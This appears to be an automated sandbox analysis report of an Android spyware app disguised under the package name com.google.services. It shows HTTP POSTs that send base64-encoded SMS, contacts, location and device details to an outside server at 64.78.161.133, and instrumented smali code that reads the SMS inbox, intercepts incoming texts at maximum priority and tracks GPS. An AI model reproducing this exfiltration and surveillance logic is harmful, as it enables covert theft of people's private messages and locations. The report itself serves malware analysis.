Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: it.sauronsoftware.base64.Base64.encode Show source
Method: it.sauronsoftware.base64.Base64.encode Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.PhoneService$1.run Show source
Method: com.google.services.PhoneService$1.run Show source
Method: com.google.services.PhoneService$1.run Show source
Method: com.google.services.PhoneService$1.run Show source
Method: com.google.services.BookPageFactory.pageDown Show source
Method: com.google.services.BookPageFactory.pageDown Show source
Method: com.google.services.BookPageFactory.wilDraw Show source
Method: com.google.services.BookPageFactory.wilDraw Show source
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.AlarmService.updateWithNewLocation Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: it.sauronsoftware.base64.Base64.decode Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: it.sauronsoftware.base64.Base64.encode Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.PhoneService$1.run Show source
Method: com.google.services.BookPageFactory.pageDown Show source
Method: com.google.services.BookPageFactory.wilDraw Show source
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.BookPageFactory.readParagraphForward Show source
Method: com.google.services.BookPageFactory.readParagraphForward Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.BookPageFactory.readParagraphBack Show source
Method: com.google.services.BookPageFactory.readParagraphBack Show source
Method: com.google.services.SendInfo.chuli Show source
Method: com.google.services.SendInfo.chuli Show source
Method: com.google.services.SendInfo.chuli Show source
Method: com.google.services.SendInfo.chuli Show source
Method: com.google.services.PhoneService.onStart Show source
Method: com.google.services.sendReceiver.onReceive Show source
Method: com.google.services.SendInfo.reSendInfo Show source
Method: com.google.services.ScreenReceiver.isServiceRunning Show source
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0984df0
  • getEntity.decodeBase64: create='{]
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: create=phone1368529863900
  • getURI: http://64.78.161.133/android.php
NameTypeValue
Return Valuenull
  • $1: null
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a20cb8
  • getEntity.decodeBase64: create='{]
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: create=phone1368529863900
  • getURI: http://64.78.161.133/android.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a0a5f928
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a09db3b8
  • getEntity.decodeBase64: location=No location found
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: location=Tm8gbG9jYXRpb24gZm91bmQ=
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valuenull
  • $1: null
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0aacaa8
  • getEntity.decodeBase64: contact=mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: contact=bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valuenull
  • $1: null
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a13e78
  • getEntity.decodeBase64: sms=no result!
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: sms=bm8gcmVzdWx0IeWujOavlQ==
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valuenull
  • $1: null
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a75458
  • getEntity.decodeBase64: sms=;no result!
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: sms=O25vIHJlc3VsdCHlrozmr5U=
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a0a03888
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a64690
  • getEntity.decodeBase64: contact=;mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: contact=O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a0aa1d00
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a09e4f80
  • getEntity.decodeBase64: location=;No location found
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: location=O05vIGxvY2F0aW9uIGZvdW5k
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a067bb90
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09b8298
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09b8298
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a213a8
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a213a8
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a34bf8
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a34bf8
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0aad318
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0aad318
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09ddb30
Method: com.google.services.SendInfo.run Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09ddb30
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a70880
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a70880
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a64a58
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a64a58
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0675018
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0675018
Method: com.google.services.SendInfo.run Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
Method: com.google.services.SendInfo.reSendInfo Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
19 Executed Methods
APIs
  • java.lang.StringBuilder.<init>
  • com.google.services.AlarmService.getContentResolver
  • android.net.Uri.parse
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.text.SimpleDateFormat.<init>
  • android.database.Cursor.getString
  • java.lang.Long.parseLong
  • java.sql.Date.<init>
  • java.text.SimpleDateFormat.format
  • android.database.Cursor.getInt
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • android.database.Cursor.moveToNext
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
Strings
  • _id
  • address
  • person
  • body
  • date
  • type
  • content://sms/
  • date desc
  • yyyy-MM-dd hh:mm:ss
  • \u63a5\u6536
  • \u53d1\u4fe1\u4eba\uff1a
  • ,\u7535\u8bdd\u53f7\u7801\uff1a
  • ,\u6d88\u606f\u5185\u5bb9\uff1a
  • ,\u65f6\u95f4\uff1a
  • ,\u7c7b\u578b
  • ;
  • \u5b8c\u6bd5
  • \u53d1\u9001
  • no result!
Position Instruction Meta Information
0.prologue
1new-instance v6, Ljava/lang/StringBuilder;
3invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
4try_start_5:
5invoke-virtual {p0}, Lcom/google/services/AlarmService;->getContentResolver()Landroid/content/ContentResolver;
6move-result-object v0
7const/4 v1, 0x6
8new-array v2, v1, [Ljava/lang/String;
9const/4 v1, 0x0
11const-string v3, "_id"
12aput-object v3, v2, v1
13const/4 v1, 0x1
15const-string v3, "address"
16aput-object v3, v2, v1
17const/4 v1, 0x2
19const-string v3, "person"
20aput-object v3, v2, v1
21const/4 v1, 0x3
23const-string v3, "body"
24aput-object v3, v2, v1
25const/4 v1, 0x4
27const-string v3, "date"
28aput-object v3, v2, v1
29const/4 v1, 0x5
31const-string v3, "type"
32aput-object v3, v2, v1
34const-string v1, "content://sms/"
36invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
  • Time: 230880
    • uriString: content://sms/
    • Return:
      • content://sms/
37move-result-object v1
38const/4 v3, 0x0
39const/4 v4, 0x0
41const-string v5, "date desc"
43invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 230882
    • p0: content://sms/
    • p1: [Ljava.lang.String;@a0a8e7c8
    • p1.Arrays.toString: [_id, address, person, body, date, type]
    • p2: null
    • p3: null
    • p4: date desc
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@a0a52c08
44move-result-object v1
46invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
47move-result v0
48if-eqz v0, :cond_10c
50const-string v0, "person"
52invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: person
53move-result v2
55const-string v0, "address"
57invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: address
58move-result v3
60const-string v0, "body"
62invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: body
63move-result v4
65const-string v0, "date"
67invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: date
68move-result v5
70const-string v0, "type"
72invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: type
73move-result v7
74cond_5c:
75invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
76move-result-object v8
78invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
79move-result-object v9
81invoke-interface {v1, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
82move-result-object v10
83new-instance v0, Ljava/text/SimpleDateFormat;
85const-string v11, "yyyy-MM-dd hh:mm:ss"
87invoke-direct {v0, v11}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyy-MM-dd hh:mm:ss
88new-instance v11, Ljava/sql/Date;
90invoke-interface {v1, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
91move-result-object v12
93invoke-static {v12}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
94move-result-wide v12
96invoke-direct {v11, v12, v13}, Ljava/sql/Date;-><init>(J)V
98invoke-virtual {v0, v11}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
99move-result-object v11
101invoke-interface {v1, v7}, Landroid/database/Cursor;->getInt(I)I
102move-result v0
103const/4 v12, 0x1
104if-ne v0, v12, :cond_102
106const-string v0, "\u63a5\u6536"
107goto_89:
108const-string v12, "\u53d1\u4fe1\u4eba\uff1a"
110invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \u53d1\u4fe1\u4eba\uff1a
111new-instance v12, Ljava/lang/StringBuilder;
113invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
115invoke-virtual {v12, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
116move-result-object v8
118const-string v12, ",\u7535\u8bdd\u53f7\u7801\uff1a"
120invoke-virtual {v8, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,\u7535\u8bdd\u53f7\u7801\uff1a
121move-result-object v8
123invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
124move-result-object v8
126invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
127new-instance v8, Ljava/lang/StringBuilder;
129invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
131invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
132move-result-object v8
134const-string v9, ",\u6d88\u606f\u5185\u5bb9\uff1a"
136invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,\u6d88\u606f\u5185\u5bb9\uff1a
137move-result-object v8
139invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
140move-result-object v8
142invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
143new-instance v8, Ljava/lang/StringBuilder;
145invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
147invoke-virtual {v8, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
148move-result-object v8
150const-string v9, ",\u65f6\u95f4\uff1a"
152invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,\u65f6\u95f4\uff1a
153move-result-object v8
155invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
156move-result-object v8
158invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
159new-instance v8, Ljava/lang/StringBuilder;
161invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
163invoke-virtual {v8, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
164move-result-object v8
166const-string v9, ",\u7c7b\u578b"
168invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,\u7c7b\u578b
169move-result-object v8
171invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
172move-result-object v8
174invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
176invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \u63a5\u6536
178const-string v0, ";"
180invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
181if-nez v10, :cond_f2
183const-string v0, ""
184cond_f2:
185invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
186move-result v0
187if-nez v0, :cond_5c
188goto_f8:
189const-string v0, "\u5b8c\u6bd5"
191invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \u5b8c\u6bd5
192try_end_fd:
193invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
194move-result-object v0
195return-object v0
196cond_102: const/4 v12, 0x2
197if-ne v0, v12, :cond_108
198try_start_105:
199const-string v0, "\u53d1\u9001"
200goto/16 :goto_89
201cond_108:
202const-string v0, ""
203goto/16 :goto_89
204cond_10c:
205const-string v0, "no result!"
207invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: no result!
208try_end_111: goto/16 :goto_f8
209catch_112: move-exception v0
210goto/16 :goto_fd
APIs
  • android.app.Service.onCreate
  • android.content.IntentFilter.<init>
  • android.content.IntentFilter.setPriority
  • com.google.services.alarmReceiver.<init>
  • com.google.services.AlarmService.registerReceiver
  • com.google.services.AlarmService.getSystemService
  • android.location.Criteria.<init>
  • android.location.Criteria.setAccuracy
  • android.location.Criteria.setAltitudeRequired
  • android.location.Criteria.setBearingRequired
  • android.location.Criteria.setCostAllowed
  • android.location.Criteria.setPowerRequirement
  • android.location.LocationManager.getBestProvider
  • android.location.LocationManager.getLastKnownLocation
  • com.google.services.AlarmService.updateWithNewLocation
  • android.location.LocationManager.requestLocationUpdates
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.google.services.AlarmService.getPhoneContacts
  • java.lang.StringBuilder.append
  • com.google.services.AlarmService.getSIMContacts
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.os.Bundle.<init>
  • android.os.Bundle.putString
  • android.content.Intent.putExtras
  • com.google.services.AlarmService.sendBroadcast
Strings
  • android.provider.Telephony.SMS_RECEIVED
  • location
  • gps
  • mobile:
  • Galaxy Nexus
  • ,SDK version:
  • 17
  • ,OS version:
  • 4.2.1
  • #
  • com.google.system.receiver
  • contact
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3new-instance v0, Landroid/content/IntentFilter;
5const-string v1, "android.provider.Telephony.SMS_RECEIVED"
7invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.provider.Telephony.SMS_RECEIVED
8const v1, 0x7fffffff
10invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V
  • Data flow analysis:
    • priority: 2147483647
11new-instance v1, Lcom/google/services/alarmReceiver;
13invoke-direct {v1}, Lcom/google/services/alarmReceiver;-><init>()V
15invoke-virtual {p0, v1, v0}, Lcom/google/services/AlarmService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
  • Time: 230823
    • p0: com.google.services.alarmReceiver@a0a7c418
    • p1: android.content.IntentFilter@a0a7c120
    • p1.getAction0: android.provider.Telephony.SMS_RECEIVED
    • Return:
      • null
17const-string v0, "location"
18try_start_1a:
19invoke-virtual {p0, v0}, Lcom/google/services/AlarmService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 230824
    • p0: location
    • Return:
      • android.location.LocationManager@a09fc9d8
20move-result-object v0
21check-cast v0, Landroid/location/LocationManager;
22new-instance v1, Landroid/location/Criteria;
24invoke-direct {v1}, Landroid/location/Criteria;-><init>()V
25const/4 v2, 0x1
27invoke-virtual {v1, v2}, Landroid/location/Criteria;->setAccuracy(I)V
  • Time: 230826
    • accuracy: 1
28const/4 v2, 0x0
30invoke-virtual {v1, v2}, Landroid/location/Criteria;->setAltitudeRequired(Z)V
  • Data flow analysis:
    • altitudeRequired: 0
31const/4 v2, 0x0
33invoke-virtual {v1, v2}, Landroid/location/Criteria;->setBearingRequired(Z)V
  • Data flow analysis:
    • bearingRequired: 0
34const/4 v2, 0x1
36invoke-virtual {v1, v2}, Landroid/location/Criteria;->setCostAllowed(Z)V
  • Time: 230827
    • p0: true
37const/4 v2, 0x1
39invoke-virtual {v1, v2}, Landroid/location/Criteria;->setPowerRequirement(I)V
  • Data flow analysis:
    • level: 1
40const/4 v2, 0x1
42invoke-virtual {v0, v1, v2}, Landroid/location/LocationManager;->getBestProvider(Landroid/location/Criteria;Z)Ljava/lang/String;
  • Data flow analysis:
    • enabledOnly: 1
43move-result-object v1
45invoke-virtual {v0, v1}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
  • Time: 230829
    • provider: gps
    • Return:
      • null
46move-result-object v2
48invoke-direct {p0, v2}, Lcom/google/services/AlarmService;->updateWithNewLocation(Landroid/location/Location;)V
49const-wide/16 v2, 0x2710
50const/high16 v4, 0x41a0
52iget-object v5, p0, Lcom/google/services/AlarmService;->locationListener:Landroid/location/LocationListener;
54invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
  • Time: 230833
    • p0: gps
    • p1: 10000
    • p2: 20.0
    • p3: com.google.services.AlarmService$1@a09b7f78
55goto_4e: iput-object p0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context;
56new-instance v0, Ljava/lang/StringBuilder;
58invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
60const-string v1, "mobile:"
62invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mobile:
63move-result-object v0
65sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
  • Time: 230855
    • Return:
      • Galaxy Nexus
67invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
68move-result-object v0
70const-string v1, ",SDK version:"
